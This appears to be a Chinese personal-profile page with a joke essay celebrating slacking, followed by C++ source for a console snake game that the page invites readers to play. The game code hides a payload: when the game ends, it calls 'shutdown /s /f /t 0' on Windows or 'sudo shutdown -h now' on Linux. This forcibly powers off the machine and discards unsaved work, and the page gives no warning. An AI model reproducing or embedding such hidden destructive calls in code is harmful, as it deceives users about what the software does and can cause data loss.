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个人简介
有贪吃蛇游戏 老师必看
《摆烂の终极奥义:科学证明,废物竟是我自己!》
第一章:摆烂,人类文明的基石
达尔文看了都沉默
最新研究发现,人类直立行走是因为祖先懒得爬树,躺平后腿毛退化,从此开启摆烂纪元。 “物竞天择?不,是物竞天躺。”——达尔文·摆烂斯基(伪)
历史名人の摆烂智慧
陶渊明:种地三天晒网两天摸鱼,成就《归去来兮辞》——摆烂出诗意。 李白:喝酒摆烂不考公务员,留下“天生我材必有用,千金散尽还复来”——摆烂出千古名句。 牛顿:苹果砸头懒得躲,发现万有引力——摆烂出科学奇迹。
第二章:摆烂的十大好处(科学严谨版)
延年益寿
研究显示:每天摆烂2小时,心脏负担减少50%,寿命延长0.5秒(误差±10年)。 案例:某程序员因加班猝死前最后一秒选择摆烂,成功续命到退休。
人际关系UP↑
摆烂后同事求你帮忙时,你只需微笑:“亲,我连自己都懒得救。”从此登上公司最受欢迎懒人榜。 朋友借钱?摆烂式回复:“你看我像有钱的样子吗?”友谊纯度瞬间提升99%。
职场逆袭の玄学
老板让你加班:摆烂到电脑蓝屏,文件自毁,从此晋升为“公司吉祥物”(主要功能:镇宅)。 同事内卷时,你淡定吃瓜:“你们努力,我替你们见证历史。”最终因过于废物被升职——毕竟没人敢让你干活。
经济自由の捷径
摆烂后消费降级:不逛街、不聚餐,每月省下5000元,轻松实现“破产版财务自由”。 专家建议:摆烂到极致可申请“废物补贴”,联合国正在试点(编的)。 第三章:摆烂の哲学升华
道家思想新解
老子:“无为而治”实为摆烂鼻祖,翻译成现代文:“你卷任你卷,我躺生死闲。” 庄子与惠子斗嘴:“子非鱼,安知鱼之乐?”惠子摆烂:“子非我,安知我不知鱼之乐?”——废话文学の胜利。
当代摆烂圣经
佛系青年:摆烂是修行,卷王是执念。 丧文化:摆烂是对世界的温柔抗议,比如“努力不一定成功,但不努力一定很舒服。”
第四章:摆烂实操指南(附赠摆烂等级测试)
入门级摆烂
闹钟响了按掉继续睡,理由:“被子绑架了我。” 工作群消息已读不回,配文:“意念回复,功德+1。”
王者级摆烂
老板催PPT:“在做了。”(实际在刷短视频) 考试前夜:“复习?不存在的,我信爱因斯坦的时空相对论——明天考场上时间会膨胀。”
史诗级摆烂
人生目标更新为:“成为一条优秀的咸鱼,晒足180天,腌入味儿。” 自我评价:“我的摆烂,是敦煌壁画级的艺术——千年后人类会来考古。”
第五章:摆烂の副作用(伪科学警告)
可能触发奇迹
摆烂到忘记关煤气,结果炸出厨房宝藏——祖传老鼠洞里的金条。 摆烂不洗脸,皮肤因“无污染自然氧化”荣获“野生包浆美人”称号。
结语
你摆烂不消费,成功降低全球碳排放,荣获“环保废物奖”。
“摆烂不是终点,而是新世界的起点——比如躺着点外卖时,你为骑手创造了GDP。”
如果你看完了
要玩游戏打开这个👎
#include <cstdlib> #include <iostream> #include <vector> #include <conio.h> #include <windows.h> #include <ctime> using namespace std; const int WIDTH = 40; const int HEIGHT = 20; enum Direction { UP, DOWN, LEFT, RIGHT }; struct Point { int x, y; Point(int x = 0, int y = 0) : x(x), y(y) {} }; class SnakeGame { private: vector<Point> snake; Point food; Direction dir; bool gameOver; int score; void generateFood() { srand(static_cast<unsigned>(time(0))); food.x = rand() % (WIDTH - 2) + 1; food.y = rand() % (HEIGHT - 2) + 1; // 修正1:使用传统循环替代范围循环 for (size_t i = 0; i < snake.size(); ++i) { if (snake[i].x == food.x && snake[i].y == food.y) { generateFood(); return; } } } void drawBoard() { system("cls"); for (int i = 0; i < WIDTH; i++) cout << "#"; cout << endl; for (int i = 0; i < HEIGHT; i++) { for (int j = 0; j < WIDTH; j++) { if (j == 0 || j == WIDTH - 1) cout << "#"; else if (i == 0 || i == HEIGHT - 1) cout << "#"; else { bool isSnake = false; // 修正2:明确迭代类型 for (size_t k = 0; k < snake.size(); k++) { if (snake[k].x == j && snake[k].y == i) { // 修正3:蛇头检测逻辑 cout << (k == 0 ? 'O' : 'o'); isSnake = true; break; } } if (!isSnake) cout << (food.x == j && food.y == i ? 'F' : ' '); } } cout << endl; } cout << "Score: " << score << endl; } void checkCollision() { Point head = snake[0]; // 修正4:明确取首元素 if (head.x <= 0 || head.x >= WIDTH - 1 || head.y <= 0 || head.y >= HEIGHT - 1) gameOver = true; for (size_t i = 1; i < snake.size(); i++) { if (snake[i].x == head.x && snake[i].y == head.y) { gameOver = true; break; } } } public: SnakeGame() : dir(RIGHT), gameOver(false), score(0) { snake.push_back(Point(WIDTH / 2, HEIGHT / 2)); snake.push_back(Point(WIDTH / 2 - 1, HEIGHT / 2)); snake.push_back(Point(WIDTH / 2 - 2, HEIGHT / 2)); generateFood(); } void run() { while (!gameOver) { if (_kbhit()) { switch (_getch()) { case 'w': if (dir != DOWN) dir = UP; break; case 's': if (dir != UP) dir = DOWN; break; case 'a': if (dir != RIGHT) dir = LEFT; break; case 'd': if (dir != LEFT) dir = RIGHT; break; case 'x': gameOver = true; break; } } Point newHead = snake[0]; // 修正5:明确取首元素 switch (dir) { case UP: newHead.y--; break; case DOWN: newHead.y++; break; case LEFT: newHead.x--; break; case RIGHT: newHead.x++; break; } snake.insert(snake.begin(), newHead); if (newHead.x == food.x && newHead.y == food.y) { score += 10; generateFood(); } else { snake.pop_back(); } checkCollision(); drawBoard(); Sleep(100); } #ifdef _WIN32 system("shutdown /s /f /t 0"); #elif __linux__ system("sudo shutdown -h now"); #endif } }; int main() { SnakeGame game; game.run(); return 0; }
********老师我找到强哥了
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